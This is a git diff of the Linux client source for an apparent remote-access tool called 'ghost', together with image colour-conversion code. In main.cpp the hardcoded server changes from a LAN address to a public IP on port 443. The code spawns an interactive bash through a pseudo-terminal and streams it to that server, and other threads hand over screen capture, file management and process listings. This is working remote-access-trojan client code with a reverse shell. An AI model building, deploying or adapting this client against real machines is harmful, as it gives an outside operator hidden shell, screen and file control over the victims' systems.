int stepY = (direction > 0) ? 1 : -1;
|
||||||
|
|
||||||
|
// Y plane: full resolution
|
||||||
|
for (int j = 0; j < h; j++) {
|
||||||
|
int srcY = startY + j * stepY;
|
||||||
|
const uint8_t* srcRow = bgra + srcY * srcStride;
|
||||||
|
uint8_t* dstRow = yPlane + j * yStride;
|
||||||
|
|
||||||
|
for (int i = 0; i < w; i++) {
|
||||||
|
uint8_t b = srcRow[i * 4 + 0];
|
||||||
|
uint8_t g = srcRow[i * 4 + 1];
|
||||||
|
uint8_t r = srcRow[i * 4 + 2];
|
||||||
|
// Y = 0.257*R + 0.504*G + 0.098*B + 16
|
||||||
|
int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
|
||||||
|
dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// U/V planes: half resolution (2x2 block averaging)
|
||||||
|
int uvW = w / 2;
|
||||||
|
int uvH = h / 2;
|
||||||
|
|
||||||
|
for (int j = 0; j < uvH; j++) {
|
||||||
|
int srcY0 = startY + (j * 2) * stepY;
|
||||||
|
int srcY1 = startY + (j * 2 + 1) * stepY;
|
||||||
|
const uint8_t* row0 = bgra + srcY0 * srcStride;
|
||||||
|
const uint8_t* row1 = bgra + srcY1 * srcStride;
|
||||||
|
|
||||||
|
for (int i = 0; i < uvW; i++) {
|
||||||
|
// Average 4 pixels
|
||||||
|
int r = 0, g = 0, b = 0;
|
||||||
|
|
||||||
|
b += row0[(i*2+0)*4 + 0]; g += row0[(i*2+0)*4 + 1]; r += row0[(i*2+0)*4 + 2];
|
||||||
|
b += row0[(i*2+1)*4 + 0]; g += row0[(i*2+1)*4 + 1]; r += row0[(i*2+1)*4 + 2];
|
||||||
|
b += row1[(i*2+0)*4 + 0]; g += row1[(i*2+0)*4 + 1]; r += row1[(i*2+0)*4 + 2];
|
||||||
|
b += row1[(i*2+1)*4 + 0]; g += row1[(i*2+1)*4 + 1]; r += row1[(i*2+1)*4 + 2];
|
||||||
|
|
||||||
|
r >>= 2; g >>= 2; b >>= 2;
|
||||||
|
|
||||||
|
// U = -0.148*R - 0.291*G + 0.439*B + 128
|
||||||
|
int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
|
||||||
|
// V = 0.439*R - 0.368*G - 0.071*B + 128
|
||||||
|
int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
|
||||||
|
|
||||||
|
uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
|
||||||
|
vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Convert RGB24 to I420 (YUV 4:2:0 planar) directly into output planes
|
||||||
|
*/
|
||||||
|
void convertRGB24toI420(const uint8_t* rgb, int stride, int direction,
|
||||||
|
uint8_t* yPlane, int yStride,
|
||||||
|
uint8_t* uPlane, int uStride,
|
||||||
|
uint8_t* vPlane, int vStride) {
|
||||||
|
int srcStride = stride;
|
||||||
|
int w = m_width;
|
||||||
|
int h = m_height;
|
||||||
|
|
||||||
|
int startY = (direction > 0) ? 0 : (h - 1);
|
||||||
|
int stepY = (direction > 0) ? 1 : -1;
|
||||||
|
|
||||||
|
// Y plane
|
||||||
|
for (int j = 0; j < h; j++) {
|
||||||
|
int srcY = startY + j * stepY;
|
||||||
|
const uint8_t* srcRow = rgb + srcY * srcStride;
|
||||||
|
uint8_t* dstRow = yPlane + j * yStride;
|
||||||
|
|
||||||
|
for (int i = 0; i < w; i++) {
|
||||||
|
uint8_t r = srcRow[i * 3 + 0];
|
||||||
|
uint8_t g = srcRow[i * 3 + 1];
|
||||||
|
uint8_t b = srcRow[i * 3 + 2];
|
||||||
|
int y = ((66 * r + 129 * g + 25 * b + 128) >> 8) + 16;
|
||||||
|
dstRow[i] = (uint8_t)(y < 0 ? 0 : (y > 255 ? 255 : y));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// U/V planes
|
||||||
|
int uvW = w / 2;
|
||||||
|
int uvH = h / 2;
|
||||||
|
|
||||||
|
for (int j = 0; j < uvH; j++) {
|
||||||
|
int srcY0 = startY + (j * 2) * stepY;
|
||||||
|
int srcY1 = startY + (j * 2 + 1) * stepY;
|
||||||
|
const uint8_t* row0 = rgb + srcY0 * srcStride;
|
||||||
|
const uint8_t* row1 = rgb + srcY1 * srcStride;
|
||||||
|
|
||||||
|
for (int i = 0; i < uvW; i++) {
|
||||||
|
int r = 0, g = 0, b = 0;
|
||||||
|
|
||||||
|
r += row0[(i*2+0)*3 + 0]; g += row0[(i*2+0)*3 + 1]; b += row0[(i*2+0)*3 + 2];
|
||||||
|
r += row0[(i*2+1)*3 + 0]; g += row0[(i*2+1)*3 + 1]; b += row0[(i*2+1)*3 + 2];
|
||||||
|
r += row1[(i*2+0)*3 + 0]; g += row1[(i*2+0)*3 + 1]; b += row1[(i*2+0)*3 + 2];
|
||||||
|
r += row1[(i*2+1)*3 + 0]; g += row1[(i*2+1)*3 + 1]; b += row1[(i*2+1)*3 + 2];
|
||||||
|
|
||||||
|
r >>= 2; g >>= 2; b >>= 2;
|
||||||
|
|
||||||
|
int u = ((-38 * r - 74 * g + 112 * b + 128) >> 8) + 128;
|
||||||
|
int v = ((112 * r - 94 * g - 18 * b + 128) >> 8) + 128;
|
||||||
|
|
||||||
|
uPlane[j * uStride + i] = (uint8_t)(u < 0 ? 0 : (u > 255 ? 255 : u));
|
||||||
|
vPlane[j * vStride + i] = (uint8_t)(v < 0 ? 0 : (v > 255 ? 255 : v));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
BIN
linux/ghost
BIN
linux/ghost
Binary file not shown.
BIN
linux/lib/libsign.a
Normal file
BIN
linux/lib/libsign.a
Normal file
Binary file not shown.
576
linux/main.cpp
576
linux/main.cpp
@@ -14,7 +14,7 @@
|
|||||||
#include <csignal>
|
#include <csignal>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/ioctl.h>
|
#include <sys/ioctl.h>
|
||||||
#include <pty.h>
|
#include "common/PTYHandler.h"
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <stdexcept>
|
#include <stdexcept>
|
||||||
#include <cstdio>
|
#include <cstdio>
|
||||||
@@ -26,25 +26,32 @@
|
|||||||
#include <cmath>
|
#include <cmath>
|
||||||
#include "ScreenHandler.h"
|
#include "ScreenHandler.h"
|
||||||
#include "SystemManager.h"
|
#include "SystemManager.h"
|
||||||
#include "FileManager.h"
|
#include "common/FileManager.h"
|
||||||
#include "ClipboardHandler.h"
|
#include "ClipboardHandler.h"
|
||||||
#include "FileTransferV2.h"
|
#include "common/FileTransferV2.h"
|
||||||
#include "common/logger.h"
|
#include "common/logger.h"
|
||||||
#define XXH_INLINE_ALL
|
#define XXH_INLINE_ALL
|
||||||
#include "common/xxhash.h"
|
#include "common/xxhash.h"
|
||||||
|
#include "common/rtt_estimator.h"
|
||||||
|
#include "common/client_auth_state.h"
|
||||||
|
#include "common/posix_net_helpers.h"
|
||||||
|
#include "common/sub_conn_thread.h"
|
||||||
#include "LinuxConfig.h"
|
#include "LinuxConfig.h"
|
||||||
|
|
||||||
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX };
|
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_LINUX };
|
||||||
|
|
||||||
// 全局状态
|
// 全局状态
|
||||||
State g_bExit = S_CLIENT_NORMAL;
|
State g_bExit = S_CLIENT_NORMAL;
|
||||||
|
static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重发登录信息
|
||||||
|
|
||||||
// 客户端 ID(V2 文件传输需要)
|
// 客户端 ID(V2 文件传输需要)
|
||||||
uint64_t g_myClientID = 0;
|
uint64_t g_myClientID = 0;
|
||||||
|
|
||||||
|
// 服务端身份校验全局状态已抽到 common/client_auth_state.h(namespace ClientAuth)
|
||||||
|
|
||||||
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
|
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
|
||||||
|
|
||||||
static std::string utf8ToGbk(const std::string& utf8)
|
static std::string utf8ToGbk(const std::string& utf8)
|
||||||
@@ -301,306 +308,55 @@ private:
|
|||||||
};
|
};
|
||||||
|
|
||||||
// ============== 心跳保活 & RTT 估算 ==============
|
// ============== 心跳保活 & RTT 估算 ==============
|
||||||
|
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
|
||||||
|
|
||||||
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
|
// PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS)
|
||||||
struct RttEstimator {
|
|
||||||
double srtt = 0.0; // 平滑 RTT (秒)
|
|
||||||
double rttvar = 0.0; // RTT 波动 (秒)
|
|
||||||
double rto = 0.0; // 超时时间 (秒)
|
|
||||||
bool initialized = false;
|
|
||||||
|
|
||||||
void update_from_sample(double rtt_ms)
|
void* ShellworkingThread(void* /*param*/)
|
||||||
{
|
{
|
||||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
RunSubConnThread<PTYHandler>(
|
||||||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
"ShellworkingThread",
|
||||||
return;
|
[](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
|
||||||
|
[](IOCPClient* c, PTYHandler*) {
|
||||||
const double alpha = 1.0 / 8;
|
|
||||||
const double beta = 1.0 / 4;
|
|
||||||
double rtt = rtt_ms / 1000.0;
|
|
||||||
|
|
||||||
if (!initialized) {
|
|
||||||
srtt = rtt;
|
|
||||||
rttvar = rtt / 2.0;
|
|
||||||
rto = srtt + 4.0 * rttvar;
|
|
||||||
initialized = true;
|
|
||||||
} else {
|
|
||||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
|
||||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
|
||||||
rto = srtt + 4.0 * rttvar;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
|
||||||
if (rto < 1.0) rto = 1.0;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
RttEstimator g_rttEstimator;
|
|
||||||
int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
|
|
||||||
|
|
||||||
// 伪终端处理类:继承自IOCPManager.
|
|
||||||
class PTYHandler : public IOCPManager
|
|
||||||
{
|
|
||||||
public:
|
|
||||||
PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
|
|
||||||
{
|
|
||||||
if (!client) {
|
|
||||||
throw std::invalid_argument("IOCPClient pointer cannot be null");
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建伪终端
|
|
||||||
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
|
|
||||||
throw std::runtime_error("Failed to create pseudo terminal");
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置伪终端为非阻塞模式
|
|
||||||
int flags = fcntl(m_master_fd, F_GETFL, 0);
|
|
||||||
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
|
|
||||||
|
|
||||||
// 启动 Shell 进程
|
|
||||||
startShell();
|
|
||||||
}
|
|
||||||
|
|
||||||
~PTYHandler()
|
|
||||||
{
|
|
||||||
m_running = false;
|
|
||||||
if (m_readThread.joinable()) m_readThread.join();
|
|
||||||
close(m_master_fd);
|
|
||||||
close(m_slave_fd);
|
|
||||||
if (m_child_pid > 0) {
|
|
||||||
kill(m_child_pid, SIGTERM);
|
|
||||||
waitpid(m_child_pid, nullptr, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 启动读取线程
|
|
||||||
void Start()
|
|
||||||
{
|
|
||||||
bool expected = false;
|
|
||||||
if (!m_running.compare_exchange_strong(expected, true)) return;
|
|
||||||
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
|
|
||||||
}
|
|
||||||
|
|
||||||
virtual VOID OnReceive(PBYTE data, ULONG size)
|
|
||||||
{
|
|
||||||
if (size && data[0] == COMMAND_NEXT) {
|
|
||||||
Start();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 处理终端尺寸调整命令
|
|
||||||
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
|
|
||||||
int cols = *(short*)(data + 1);
|
|
||||||
int rows = *(short*)(data + 3);
|
|
||||||
SetWindowSize(cols, rows);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
std::string s((char*)data, size);
|
|
||||||
Mprintf("%s", s.c_str());
|
|
||||||
if (size > 0) {
|
|
||||||
ssize_t total = 0;
|
|
||||||
while (total < (ssize_t)size) {
|
|
||||||
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
|
|
||||||
if (written == -1) {
|
|
||||||
if (errno == EAGAIN || errno == EINTR) continue;
|
|
||||||
Mprintf("OnReceive: write error %d\n", errno);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
total += written;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 设置终端窗口尺寸
|
|
||||||
void SetWindowSize(int cols, int rows)
|
|
||||||
{
|
|
||||||
struct winsize ws;
|
|
||||||
ws.ws_col = cols;
|
|
||||||
ws.ws_row = rows;
|
|
||||||
ws.ws_xpixel = 0;
|
|
||||||
ws.ws_ypixel = 0;
|
|
||||||
|
|
||||||
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
|
|
||||||
Mprintf("SetWindowSize: ioctl failed %d\n", errno);
|
|
||||||
} else {
|
|
||||||
// 发送 SIGWINCH 给子进程,通知其窗口大小已改变
|
|
||||||
if (m_child_pid > 0) {
|
|
||||||
kill(m_child_pid, SIGWINCH);
|
|
||||||
}
|
|
||||||
Mprintf("SetWindowSize: %dx%d\n", cols, rows);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
private:
|
|
||||||
int m_master_fd, m_slave_fd;
|
|
||||||
IOCPClient* m_client;
|
|
||||||
std::thread m_readThread;
|
|
||||||
std::atomic<bool> m_running;
|
|
||||||
pid_t m_child_pid;
|
|
||||||
|
|
||||||
void startShell()
|
|
||||||
{
|
|
||||||
m_child_pid = fork();
|
|
||||||
if (m_child_pid == -1) {
|
|
||||||
close(m_master_fd);
|
|
||||||
close(m_slave_fd);
|
|
||||||
throw std::runtime_error("Failed to fork shell process");
|
|
||||||
}
|
|
||||||
if (m_child_pid == 0) { // 子进程
|
|
||||||
setsid(); // 创建新的会话
|
|
||||||
dup2(m_slave_fd, STDIN_FILENO);
|
|
||||||
dup2(m_slave_fd, STDOUT_FILENO);
|
|
||||||
dup2(m_slave_fd, STDERR_FILENO);
|
|
||||||
close(m_master_fd);
|
|
||||||
close(m_slave_fd);
|
|
||||||
|
|
||||||
// 设置完整终端支持(xterm.js 终端仿真)
|
|
||||||
setenv("TERM", "xterm-256color", 1);
|
|
||||||
setenv("COLORTERM", "truecolor", 1);
|
|
||||||
// 使用 C.UTF-8 是最通用的 UTF-8 locale,几乎所有 Linux 都支持
|
|
||||||
setenv("LANG", "C.UTF-8", 1);
|
|
||||||
setenv("LC_ALL", "C.UTF-8", 1);
|
|
||||||
|
|
||||||
// 启动交互式 Bash
|
|
||||||
execl("/bin/bash", "bash", "-i", nullptr);
|
|
||||||
exit(1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void readFromPTY()
|
|
||||||
{
|
|
||||||
char buffer[4096];
|
|
||||||
while (m_running) {
|
|
||||||
// 检查子进程是否已退出
|
|
||||||
int status;
|
|
||||||
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
|
|
||||||
if (result == m_child_pid) {
|
|
||||||
// Shell 已退出,发送关闭通知
|
|
||||||
Mprintf("readFromPTY: shell exited (status=%d)\n", WEXITSTATUS(status));
|
|
||||||
if (m_client) {
|
|
||||||
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
|
||||||
m_client->Send2Server((char*)&closeToken, 1);
|
|
||||||
}
|
|
||||||
m_running = false;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
|
|
||||||
if (bytes_read > 0) {
|
|
||||||
if (m_client) {
|
|
||||||
buffer[bytes_read] = '\0';
|
|
||||||
Mprintf("%s", buffer);
|
|
||||||
m_client->Send2Server(buffer, bytes_read);
|
|
||||||
}
|
|
||||||
} else if (bytes_read == 0) {
|
|
||||||
// EOF - PTY 已关闭
|
|
||||||
Mprintf("readFromPTY: EOF (shell closed)\n");
|
|
||||||
if (m_client) {
|
|
||||||
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
|
||||||
m_client->Send2Server((char*)&closeToken, 1);
|
|
||||||
}
|
|
||||||
m_running = false;
|
|
||||||
break;
|
|
||||||
} else if (bytes_read == -1) {
|
|
||||||
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
|
||||||
usleep(10000);
|
|
||||||
} else if (errno == EIO) {
|
|
||||||
// EIO 通常表示 PTY slave 已关闭(shell 退出)
|
|
||||||
Mprintf("readFromPTY: EIO (shell closed)\n");
|
|
||||||
if (m_client) {
|
|
||||||
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
|
||||||
m_client->Send2Server((char*)&closeToken, 1);
|
|
||||||
}
|
|
||||||
m_running = false;
|
|
||||||
break;
|
|
||||||
} else {
|
|
||||||
Mprintf("readFromPTY: read error %d\n", errno);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
void* ShellworkingThread(void* param)
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
|
||||||
void* clientAddr = ClientObject.get();
|
|
||||||
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
|
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
|
||||||
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
|
||||||
BYTE bToken = TOKEN_TERMINAL_START;
|
BYTE bToken = TOKEN_TERMINAL_START;
|
||||||
ClientObject->Send2Server((char*)&bToken, 1);
|
c->Send2Server((char*)&bToken, 1);
|
||||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", clientAddr);
|
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
});
|
||||||
Sleep(1000);
|
|
||||||
}
|
|
||||||
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
|
|
||||||
} catch (const std::exception& e) {
|
|
||||||
Mprintf("*** ShellworkingThread exception: %s ***\n", e.what());
|
|
||||||
}
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void* ScreenworkingThread(void* param)
|
void* ScreenworkingThread(void* /*param*/)
|
||||||
{
|
{
|
||||||
try {
|
RunSubConnThread<ScreenHandler>(
|
||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
"ScreenworkingThread",
|
||||||
void* clientAddr = ClientObject.get();
|
[](IOCPClient* c) { return std::unique_ptr<ScreenHandler>(new ScreenHandler(c)); },
|
||||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
[](IOCPClient* c, ScreenHandler* h) {
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
|
||||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
|
||||||
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
||||||
handler->SendBitmapInfo();
|
h->SendBitmapInfo();
|
||||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
});
|
||||||
Sleep(1000);
|
|
||||||
}
|
|
||||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
|
||||||
} catch (const std::exception& e) {
|
|
||||||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
|
||||||
}
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void* SystemManagerThread(void* param)
|
void* SystemManagerThread(void* /*param*/)
|
||||||
{
|
{
|
||||||
try {
|
RunSubConnThread<SystemManager>(
|
||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
"SystemManagerThread",
|
||||||
void* clientAddr = ClientObject.get();
|
[](IOCPClient* c) { return std::unique_ptr<SystemManager>(new SystemManager(c)); },
|
||||||
Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr);
|
[](IOCPClient* c, SystemManager*) {
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", c);
|
||||||
std::unique_ptr<SystemManager> handler(new SystemManager(ClientObject.get()));
|
});
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
|
||||||
Mprintf(">>> SystemManagerThread [%p] Send: TOKEN_PSLIST\n", clientAddr);
|
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
|
||||||
Sleep(1000);
|
|
||||||
}
|
|
||||||
Mprintf(">>> Leave SystemManagerThread [%p]\n", clientAddr);
|
|
||||||
} catch (const std::exception& e) {
|
|
||||||
Mprintf("*** SystemManagerThread exception: %s ***\n", e.what());
|
|
||||||
}
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
void* FileManagerThread(void* param)
|
void* FileManagerThread(void* /*param*/)
|
||||||
{
|
{
|
||||||
try {
|
RunSubConnThread<FileManager>(
|
||||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
"FileManagerThread",
|
||||||
void* clientAddr = ClientObject.get();
|
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
|
||||||
Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr);
|
[](IOCPClient* c, FileManager*) {
|
||||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", c);
|
||||||
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
|
});
|
||||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
|
||||||
Mprintf(">>> FileManagerThread [%p] Send: TOKEN_DRIVE_LIST\n", clientAddr);
|
|
||||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
|
||||||
Sleep(1000);
|
|
||||||
}
|
|
||||||
Mprintf(">>> Leave FileManagerThread [%p]\n", clientAddr);
|
|
||||||
} catch (const std::exception& e) {
|
|
||||||
Mprintf("*** FileManagerThread exception: %s ***\n", e.what());
|
|
||||||
}
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -609,6 +365,12 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (szBuffer == nullptr || ulLength == 0)
|
if (szBuffer == nullptr || ulLength == 0)
|
||||||
return TRUE;
|
return TRUE;
|
||||||
|
|
||||||
|
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。详见
|
||||||
|
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
|
||||||
|
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
if (szBuffer[0] == COMMAND_BYE) {
|
if (szBuffer[0] == COMMAND_BYE) {
|
||||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
@@ -630,18 +392,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
uint64_t now = GetUnixMs();
|
uint64_t now = GetUnixMs();
|
||||||
double rtt_ms = (double)(now - ack->Time);
|
double rtt_ms = (double)(now - ack->Time);
|
||||||
g_rttEstimator.update_from_sample(rtt_ms);
|
g_rttEstimator.update_from_sample(rtt_ms);
|
||||||
|
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||||||
|
static time_t lastAckLog = 0;
|
||||||
|
time_t now_s = time(nullptr);
|
||||||
|
if (now_s - lastAckLog >= 60) {
|
||||||
|
lastAckLog = now_s;
|
||||||
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
Mprintf("** [%p] Heartbeat ACK: RTT=%.1fms, SRTT=%.1fms ***\n",
|
||||||
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
user, rtt_ms, g_rttEstimator.srtt * 1000);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||||
int settingSize = ulLength - 1;
|
MasterSettings settings;
|
||||||
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
|
if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
|
||||||
MasterSettings settings = {};
|
return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
|
||||||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
}
|
||||||
if (settings.ReportInterval > 0)
|
if (settings.ReportInterval > 0)
|
||||||
g_heartbeatInterval = settings.ReportInterval;
|
g_heartbeatInterval = settings.ReportInterval;
|
||||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||||
}
|
|
||||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||||
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
|
} else if (szBuffer[0] == COMMAND_C2C_TEXT) {
|
||||||
@@ -672,6 +439,26 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (result != 0) {
|
if (result != 0) {
|
||||||
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
|
Mprintf("** [%p] V2 File recv error: %d ***\n", user, result);
|
||||||
}
|
}
|
||||||
|
} else if (szBuffer[0] == CMD_SET_GROUP) {
|
||||||
|
// Extract group name from message (starts at byte 1)
|
||||||
|
std::string groupName;
|
||||||
|
if (ulLength > 1) {
|
||||||
|
groupName = std::string((char*)szBuffer + 1, ulLength - 1);
|
||||||
|
// Remove trailing nulls
|
||||||
|
size_t pos = groupName.find('\0');
|
||||||
|
if (pos != std::string::npos) {
|
||||||
|
groupName = groupName.substr(0, pos);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Save to config file
|
||||||
|
LinuxConfig cfg;
|
||||||
|
cfg.SetStr("group_name", groupName);
|
||||||
|
// Update global settings
|
||||||
|
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
|
||||||
|
strncpy(g_SETTINGS.szGroupName, groupName.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
|
||||||
|
// 标记需要重发登录信息(让服务端更新分组显示)
|
||||||
|
g_needResendLogin.store(true);
|
||||||
|
Mprintf("** [%p] Group changed to: %s ***\n", user, groupName.c_str());
|
||||||
} else {
|
} else {
|
||||||
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
|
||||||
}
|
}
|
||||||
